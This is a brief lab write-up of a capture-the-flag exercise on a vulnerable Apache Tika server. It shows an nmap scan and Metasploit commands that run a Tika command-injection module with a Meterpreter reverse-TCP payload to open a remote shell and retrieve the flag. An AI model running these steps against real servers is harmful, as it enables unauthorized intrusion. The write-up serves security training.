Apache Tika is a toolkit that detects and extracts metadata and text from over a thousand different file types (such as PPT, XLS, and PDF).  They have first released the server module for this on 17 July 2012 and later on, this component was found vulnerable to command injection

The lab is provided by attack defense: https://attackdefense.com/challengedetails?cid=2196

Reconnaissance

Using nmap tool to scan the open port and services

nmap --top-ports 65535 10.4.29.229 -sS -sV -T5

Among all other ports, only 9998 looks suspicious to me. Also, it's serving HTTP. Let's confirm it

Luckily there is an exploit for this in Metasploit registry

Exploit

Using the Metasploit module to gain a foothold on the target system

msf6 > use exploit/windows/http/apache_tika_jp2_jscript
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/apache_tika_jp2_jscript) > set rhosts 10.4.29.229 
rhosts => 10.4.29.229
msf6 exploit(windows/http/apache_tika_jp2_jscript) > run

Wait for a stager to upload meterpreter on the target system

Flag retrieved!

The awesome image used in this article was created by the brilliant Vladimir Petkovic of Adobe.